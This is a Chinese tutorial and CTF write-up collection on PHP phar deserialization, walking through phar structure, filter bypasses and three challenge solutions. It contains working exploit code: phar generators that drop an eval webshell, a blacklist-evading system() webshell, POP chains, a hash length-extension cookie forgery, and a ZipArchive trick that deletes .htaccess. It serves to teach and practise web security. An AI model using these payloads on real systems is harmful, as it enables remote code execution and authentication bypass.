PHP反序列化专题(二)
写在最前面,全文采自网上,对相关资源进行了整合,主要留以自己学习用,忘记记录各位大佬的链接了。
phar 反序列化
.phar
反序列化漏洞,利用phar
文件会以序列化的形式存储用户自定义的meta-data
这一特性,拓展了php
反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()
、is_dir()
等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
一般情况下只要满足一下三条就可以实现phar
反序列化攻击
可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控
phar结构
翻阅手册可以知道,phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)
,以下是对详细的介绍:
a stub
标识作用,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面任意,但是一定要以__HALT_COMPILER();?>
结尾,否则php无法识别这是一个phar
。
a manifest describing the contentsphar
文件实质上是一种压缩文件,其中压缩信息、权限等都在这一部分里。当然,我们所需的攻击利用点meta-data
序列化信息也在这一部分中。具体结如下:
Size in bytes | Description |
---|---|
4 bytes | Length of manifest in bytes(1 MB limit) |
4 bytes | Number of files in the Phar |
2 bytes | API version the Phar manifest |
4 bytes | Global Phar bitmapped flags |
4 bytes | Length of Phar alias |
?? | Phar alias (Length based on previous) |
4 bytes | Length of Phar metadata (0 for none) |
?? | Serialized Phar Meta-data, stored in serialize() format |
at least 24 * number of entries bytes | entries for each file |
其中倒数第二行就是说用户自定义的Meta-data会以序列化形式储存
the file contents
被压缩的文件。
[optional] a signature for verifying Phar integrity (phar file format only)
文件签名,放在文件末尾。格式如下
Length in bytes | Description |
---|---|
16 or 20 bytes | The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature,and 64 bytes for an SHA512 signature. |
4 bytes | Signature flags. Ox0001 is used to define an MD5 signature, Ox0002 is used to define an SHA1 signature, Ox0004 is used to define an SHA256 signature,and Ox0008 is used to define an SHA512 signature. The SHA256 and SHA512 signature support was introduced with API version 1. 1. 0. |
4 bytes | Magic GBMB used to define the presence of a signature. |
Phar文件的生成
注意:要将php.ini
中的phar.readonly
选项设置为Off
,否则无法生成phar
文件。
<?php
class TestObject {
}
// 生成phar 文件的格式
@unlink("phar.phar");
$o = new TestObject();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
示例
<?php
highlight_file(__FILE__);
class Evil {
protected $val;
function __construct($val) {
$this->val = $val;
}
function __wakeup() {
assert($this->val);
}
}
?>
<?php
#phar.php
highlight_file(__FILE__);
//@unlink("phar.phar");
require_once('phar_class.php');
$exception = new Evil('phpinfo()');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
运行即可生成phar.phar
直接使用记事本打开有部分是乱码,但是序列化的部分清晰可见
<?php__HALT_COMPILER(); ?>
b , O:4:"Evil":1:{s:6:" * val";s:9:"phpinfo()";} test.txt z 繼 ~囟 testQ臂矡/e舽H聧MXu dt GBMB
仔细看
O:4:"Evil":1:{s:6:" * val";s:9:"phpinfo()";}
正是刚才我所生成Meta_data
的$exception
的序列化内容,反序列化结果 也正好印证了结果。
<?php
highlight_file(__FILE__);
$a='O:4:"Evil":1:{S:6:"\00*\00val";s:9:"phpinfo()";}';
var_dump(unserialize($a));
?>
//object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "Evil" ["val":protected]=> string(9) "phpinfo()" }
那既然是序列化后存入文件 必然存在反序列化的读取文件!这也是phar
中利用phar://
协议进行反序列化攻击的要点!
测试简单利用:
#phar_test.php
<?php
require_once('Evil.class.php');
if ( file_exists($_REQUEST['url']) ) {
echo 'success!';
} else {
echo 'error!';
}
?>
访问phar_test.php
通过GET或者POST方式传参,参数内容就是phar://
协议对刚才生成的phar.phar
进行读取
成功读取到phpinfo
信息!
phar://
协议可利用的函数( 最主要的是调用了php_stream_open_wrapper_ex )
受影响函数列表 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
phar文件的伪造与利用
php
对phar
的识别是通过其文件头的stub
中的__HALT_COMPILER(); ?>
代码。对其前置文件头和后缀文件名都没有关系,那一定意义上就是形成了任意文件的伪造。采用这种方法可以绕过很大一部分上传检测(可以绕过exif_imagetype
等函数判断)
例如:$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
这样生成了一个.phar
文件打开看文件头为GIF98a
,在人工干预下将文件后缀改为gif
再利用之前的phar_test
页面,利用phar://
协议读取该.gif
文件,也能够成功执行。
//phar_test_normal.php
payload: ?url=phar://phar.gif
总体来说,phar的反序列化利用,主要重点不在构造反序列化语句上,重心在设置正常的payload
下生成.phar
文件。
总结下来,phar
的利用条件如下:
1.含有__HALT_COMPILER(); ?>内容的文件能够上传未被过滤。
2.未过滤参数中含有的'phar',':','//'等字符。
3.有受影响参数做跳板实现文件读取。
EzBypass
<?php
#phar_test.php
highlight_file(__FILE__);
require_once('phar_class.php');
$url=$_GET['url'];
$URL=preg_match('/^[phar]+:\/\//i',$url);
//var_dump($URL);
if($URL===1){
echo "<br>Bad Hacker!";
} else {
file_get_contents($url);
}
?>
preg_match('/^[phar]+:\/\//i',$a, $b);
利用正则对参数头进行检查
这时候可以利用如下规则函数进行绕过compress.zlib://
或者compress.bzip2://
,这两个函数同样适用于phar://
利用原理依旧是phar://
读取文件
//phar_test_perg_match.php
payload:
?url=compress.zlib://phar://phar.gif
?url=compress.bzip2://phar://phar.gif
其他绕过技巧:
@include('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://phar.phar')
例题-11
为了举个例子,让我自己体会一下做(被
)题(虐
)的快乐,自己改了一个极其简单的CTF题。主有两篇代码:
<!DOCTYPE html>
<html>
<head>
<title>Stupid!</title>
</head>
<body>
<h1>You can't find the flag!</h1>
<h2 style="color:red">If you can fuck me!</h2>
<?php show_source('class.php');?>
<h2><!--The flag in Top!--></h2>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</from>
</body>
</html>
<?php
if(!empty($_FILES["file"])) {
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg","png");
@$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] =="image/gif") || (@$_FILES["file"]["type"] =="image/jpeg")
|| (@$_FILES["file"]["type"] =="image/jpg") || (@$_FILES["file"]["type"] =="image/pjpeg")
|| (@$_FILES["file"]["type"] =="image/x-png") || (@$_FILES["file"]["type"] =="image/png"))
&& (@$_FILES["file"]["size"] < 102400)&& in_array($extension, $allowedExts)) {
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" .$_FILES["file"]["name"];
} else {
echo "upload failed!";
}
}
?>
<?php
//class.php
class foo
{
var $ha = 'echo "ok";';
function __destruct() {
eval($this->ha);
}
}
$ka = $_GET['file'];
echo $ka;
var_dump(file_exists($ka));
?>
很简单的两个页面,index
有提示说,反正提示让拿shell
才能找到flag
,所以重点就在getshell
正好又有文件上传,很容易想到上传webshell
,没有写很严格的过滤,所以常规webshell
估计是可以的,没有做测试,毕竟我是为了学习phar
获得shell
,除此之外还给了提示,给了class.php
的源码。
分析代码不难发现,具有以下特点:
1.存在上传点,且没有过滤phar://
2.foo类中存在魔术方法__destruct() ,且有eval函数
3.存在文件函数file_exists()
那就满足了phar://
反序列化利用的条件了,PoP
链也很简单,直接写exp
(shell的生成代码是网上学的,如有雷同,算我抄你的)
<?php
//把要进行反序列化的对象放在此处
class foo {
var $ha = "file_put_contents(pathinfo(__FILE__,PATHINFO_DIRNAME).'/shell.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2V4cCddKTs/Pg=='),FILE_APPEND);echo 'success!';";
}
//生成对应可被利用的对象
$o = new foo(); //shell的口令是exp
//生成exp.phar
@unlink("exp.phar");
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
echo "Phar is ready!";
?>
执行文件之后,返回了Phar is ready!
说明phar
生成成功了!把文件尾改成gif
,并上传文件,记下文件路径/upload/exp.gif
,在class.php
,执行payload:?file=phar://upload/exp.gif
,看到success!
说明shell
也成功生成了!其在index.php
文件夹下,成功getshell
!
这题可以无限变种,各种过滤,各种套娃,还是要继续学习waf的绕过。
例题-12
[SWPUCTF]2018 SimplePHP
复现环境: win10+php 5.6.21
进入页面,正常搜索信息,发现有上传文件和查看文件,在后者发现有文件包含,而且有源码泄露,浏览一圈,发现几个网页的关键源代码如下。
//file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
//function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
//class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
其次,除上述源码,还在base.php发现提示 ,以及一句返回访问IP的代码 <?php echo $_SERVER['REMOTE_ADDR'];?>
代码分析
分析代码发现file.php
调用了show
类,并且对f1ag.php
进行了过滤,还对一些常见的协议进行了过滤。在function.php
内又看到,对上传的文件做了白名单限制,只能是常见的四种图片格式。继续追踪源码,最终Test
类引起了注意,只有这个地方有一个file_get_contents()
函数,但是并没有unserialize
函数能够让我们调用它,结合文件上传,源码泄露,协议过滤等可以联想到用Phar
来进行反序列化操作,现在审代码,构造PoP链。
首先要解决phar
文件能够上传,因为phar的特性,所以可以将其伪造成任意文件;
其次是要有对phar
文件操作的限制,在file.php
中找到file_exits()
函数,并且$file
参数可控;
最后是可调用的魔法函数
C1e4r类中有__destruct()函数,有可利用的echo $this->test
show类中有__toString()函数,在调用echo,print_r等函数自动被调用,将对象转化为字符串,可利用$content = $this->str['str']->source;
Test类中有__get()函数,其是在访问一个类不存在或者是不可访问的变量是会触发;
利用 this->__get($key)-->this−>get($key)−−>this->file_get(value); -->
base64_encode(file_get_contents($value));
POP链分析
C1e4r::destruct() --> Show::toString() --> Test::__get()
-->Test::get()-->Test::file_get()
即调用函数的顺序,通过该逻辑构造exp
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = 'D:\phpstudy\WWW\serialize\example\4-phar_serialize\SWPUCTF_Phar\f1ag.php';
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "success"); //随便写点什么生成个签名
$phar->stopBuffering();
?>
构造出的phar
文件,将其改为.gif
上传
GIF89a<?php__HALT_COMPILER(); ?>
? O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:72:"D:\phpstudy\WWW\serialize\example\4-phar_serialize\SWPUCTF_Phar\f1ag.php";}}}}} exp.txt L裗 策 o? successぃ*韀烿醆m遲 GBMB
显示上传成功,进行最后一步,将文件名推出来,再用phar://
读取
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
这是源码中的命名方式,
即md5(exp.gif127.0.0.1)
为 41859a99918a3db4fc9260fa72e4dd1d
构造payload
为:?file=phar://upload/41859a99918a3db4fc9260fa72e4dd1d.jpg
GIF89a<?php__HALT_COMPILER(); ?>
PD9waHAgDQoJLy8kYSA9ICdmbGFne3RoMXNfMXNfZjRsZ30nOw0KID8+
得到回显,base64解码即可得到flag
例题-13
bytectf_2019_ezcms phar
反序列化的最后一个例题。
首先在网上翻找大师傅们的wp,发现除了上面提到的一些函数受到影响外,还有一些函数同样受到了影响:
其余受影响函数 | ||
---|---|---|
exif | exif_thumbnail | exif_imagetype |
gd | imageloadfont | imagecreatefrom |
hash | hash_hmac_file | hash_file |
hash_update_file | md5_file | sha1_file |
file / url | get_meta_tags | get_headers |
standard | getimagesize | getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type |
zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Postgres
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
MySQL
LOAD DATA LOCAL INFILE
也会触发这个php_stream_open_wrapper.
mysql
需如下配置:
[mysqld]
local-infile=1
secure_file_priv=""
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
回到题目中去,这个题涉及两个知识点(复现环境Ubuntu18.04
+php5.6.40
)
Hash 长度拓展攻击
Phar 反序列化
扫描发现存在www.zip
下载下来就是网站源码。包含四个文件:
1.index.php页面验证登陆,可以任意账号登陆到upload.php上传页面,但是只有admin账号才能进行文件上传;
2.访问了upload.php,就会在沙盒下生成一个.htaccess文件,内容为:lolololol, i control all;
3.上传文件后,会返回文件的存储路径,view details可以进入view.php,会回显文件的mime类型以及文件路径;
4.因为目录下的.htaccess被写入了内容,无法解析,所以访问上传的文件会报500。
config.php
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
}
function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
class Check{
public $filename;
function __construct($filename) {
$this->filename = $filename;
}
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
}
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath) {
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct() {
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
function __construct($filename, $file_tmp, $size) {
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}
public function upload_file(){
if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp);
if ($this->size > 204800){
die("your file is too big");
}
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
public function __call($name, $arguments) {
}
}
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments) {
$this->admin->open($this->username, $this->password);
}
}
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>EzCMS</title>
</head>
<body>
<h2>Login platform</h2>
<div>
<p>假装这是一个超级漂亮的前端</p>
<p>先来登录吧~</p>
</div>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">用户名:</label>
<input type="text" name="username" id="username"><br>
<label for="file">密码:</label>
<input type="password" name="password" id="password"><br>
<input type="submit" name="login" value="提交">
</form>
</body>
</html>
<?php
error_reporting(0);
include('config.php');
if (isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$username = urldecode($username);
$password = urldecode($password);
if ($password === "admin"){
die("u r not admin !!!");
}
$_SESSION['username'] = $username;
$_SESSION['password'] = $password;
if (login()){
echo '<script>location.href="upload.php";</script>';
}
}
upload.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>EzCMS</title>
</head>
<body>
<h2>Upload platform</h2>
<div>
<p>假装这还是个无敌炫酷的前端</p>
</div>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
</html>
<?php
include ("config.php");
if (isset($_FILES['file'])){
$file_tmp = $_FILES['file']['tmp_name'];
$file_name = $_FILES['file']['name'];
$file_size = $_FILES['file']['size'];
$file_error = $_FILES['file']['error'];
if ($file_error > 0){
die("something error");
}
$admin = new Admin($file_name, $file_tmp, $file_size);
$admin->upload_file();
}else{
$sandbox = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($sandbox)){
mkdir($sandbox, 0777, true);
}
if (!is_file($sandbox.'/.htaccess')){
file_put_contents($sandbox.'/.htaccess', 'lolololol, i control all');
}
echo "view my file : "."<br>";
$path = "./".$sandbox;
$dir = opendir($path);
while (($filename = readdir($dir)) !== false){
if ($filename != '.' && $filename != '..'){
$files[] = $filename;
}
}
foreach ($files as $k=>$v){
$filepath = $path.'/'.$v;
echo <<<EOF
<div style="width: 1000px; height: 30px;">
<Ariel>filename: {$v}</Ariel>
<a href="view.php?filename={$v}&filepath={$filepath}">view detail</a>
</div>
EOF;
}
closedir($dir);
}
view.php
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];
echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
index
页面中对密码进行了简单的验证,判断是否等于admin
,其次就调用config
页面中的login()
函数了。
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
}
发现只要密码不为0,就可以登陆进去。但是上传文件就显示 u r not admin
,在upload.php
找线索
//upload.php中关于文件上传部分实例化了一个Admin对象,并调用了upload_file()函数
$admin = new Admin($file_name, $file_tmp, $file_size);
$admin->upload_file();
//config.php Admin类
//在构造函数__construct()中实例化了一个Profile对象,并调用is_admin()函数
class Admin{
function __construct($filename, $file_tmp, $size) {
$profile = new Profile();
$this->checker = $profile->is_admin();
}
//config.php Profile类
class Profile{
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
}
这就牵涉到一个新知识点:hash长度扩展攻击
hash长度扩展攻击
指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ 消息) 此类构造的散列函数。
如果一个应用程序是这样操作的:
- 准备了一个密文和一些数据构造成一个字符串里,并且使用了
MD5
之类的哈希函数生成了一个哈希值(也就是所谓的signature
/签名); - 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文;
- 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值;
这个时候,该应用程序就易受长度扩展攻击,攻击者可以构造出{secret || data || attacker_controlled_data}
的哈希值。实际上对以下算法都能实现hash长度扩展攻击,包括md4,md5,ripemd-160,sha-0,sha-1,sha-256,sha-512
等。
在我们已知secret
长度和初始加密后的数据data
,且已知采用的加密算法,此时就可以追加数据并生成有效的签名,常用工具有HashPump, hash_extender 等,这里采用HashPump
。
由Profile
类可知,secret
长度为8,且通过任意登录可得hash为52107b08c0f3342d2153ae1d68e6262c
root@kali:~/HashPump# hashpump
Input Signature: 52107b08c0f3342d2153ae1d68e6262c
Input Data: admin
Input Key Length: 13
Input Data to Add: Tr0jAn
9ee1da795f3b2e18f117b5b7c64ecead
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00Tr0jAn
$_COOKIE['user'] = 9ee1da795f3b2e18f117b5b7c64ecead
用户名:admin
密码:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00Tr0jAn
成功已admin
身份登录,可以上传文件了,回到主线,在实例化了Admin
类后调用了upload_file()
函数
public function upload_file(){
if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp);
if ($this->size > 204800){
die("your file is too big");
}
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
可以看到又调用了一个check()
函数,存在过滤,无法传马
//config.php Check类check()函数
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
此时有两个思路:
1.文件上传到其他文件夹,摆脱自动生成的.htaccess文件的控制;
2.先上传一个马,然后反序列化将.htaccess文件重写覆盖掉。
Phar反序列化利用
注意到view.php中将上传的文件实例化了一个File()
类
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath) {
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct() {
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
在view_detail()
函数中发现了$mine = mime_content_type($this->filepath);
,该函数也受到影响会触发phar://
协议,关注该类中的魔法函数__destruct()
函数,调用了一个该类中不存在的函数upload_file()
,自然而然的就想到了__call()
函数,
//Admin类中的__call()函数
public function __call($name, $arguments) {
}
//Profile类中的__call()函数
function __call($name, $arguments) {
$this->admin->open($this->username, $this->password);
}
因为不知道临时储存文件的目录,所以思路一不成立,故不能进入Admin
类,所以选择Profile
类中的__call()
函数,该函数用参数$admin
调用了File
类的open()
函数
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
但观察至此,没有任何的利用点,看了大手子们的wp,才了解到,因为参数$admin
可控,所以可以找下php
里面有没有可以用来删除、重写文件的类,且正好存在可利用的同名open()
函数这样我们就可以将$admin
实例化为此类的对象。佬佬们查到的ZipArchive类中就存在这样的函数
ZipArchive :: open ( string $filename [, int $flags ]): mixed
第一个参数为文件名,第二个参数可以设置使用的模式。
//使用下述两个模式并将文件名设置为.htaccess的路径,即可删除文件(重点是第二个)。
Ziparchive::create(integer)
//如果不存在则创建一个zip压缩包
Ziparchive::overwrite(integer)
//总是一个新的压缩包开始,此模式下如果已存在则会被覆盖
POP链构造
先上传一个shell
备用,然后构造phar
文件通过view.php
中view_detail()
函数的mime_content_type()
进行Phar
的反序列化,调用__destruct()
函数,再实例化一个Profile
类以调用__call()
函数,进而实例化一个ziparchive
类以调用__open()
函数,再利用ziparchive::overwrite
删除掉.htaccess
因为有check()
函数过滤所以马儿只能传如下system的拼接模式
<?php
$a='sys'.'tem';
$a($_REQUEST['phar']);
?>
得到路径信息和加密后的文件名:
mine: text/x-php
file_path: 25a452927110e39a345a2511c57647f2.php is in ./sandbox/3accb9900a8be5421641fb31e6861f33/25a452927110e39a345a2511c57647f2.php
接下来构造phar
文件
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->username = "/var/www/html/sandbox/3accb9900a8be5421641fb31e6861f33/.htaccess";
$this->password = ZipArchive::OVERWRITE;
$this->admin = new ZipArchive();
}
}
$a = new File('Tr0jAn','Tr0jAn');
@unlink("rce.phar");
$phar = new Phar("rce.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
运行得到rce.phar
,上传后得到路径信息:
mine: application/octet-stream
file_path: a9f69fdbb6876b03a866ce1a86f831f2.phar is in ./sandbox/3accb9900a8be5421641fb31e6861f33/a9f69fdbb6876b03a866ce1a86f831f2.phar
此时页面在view.php
修改url
//修改前
http://192.168.32.134/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=./sandbox/3accb9900a8be5421641fb31e6861f33/a9f69fdbb6876b03a866ce1a86f831f2.phar
//修改后
http://192.168.32.134/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/3accb9900a8be5421641fb31e6861f33/a9f69fdbb6876b03a866ce1a86f831f2.phar
此时.htaccess
文件被删除,直接访问刚才上传的shell
即可。
小结
Phar
的反序列化算是比较难的了,在其利用条件和手段都要求较高,构造pop
链也相对复杂,所以放了三道例题,如果还有不懂的可以看看以下及格相关的题目
1.Defcamp(DCTF) 2018-Vulture phar反序列化攻击
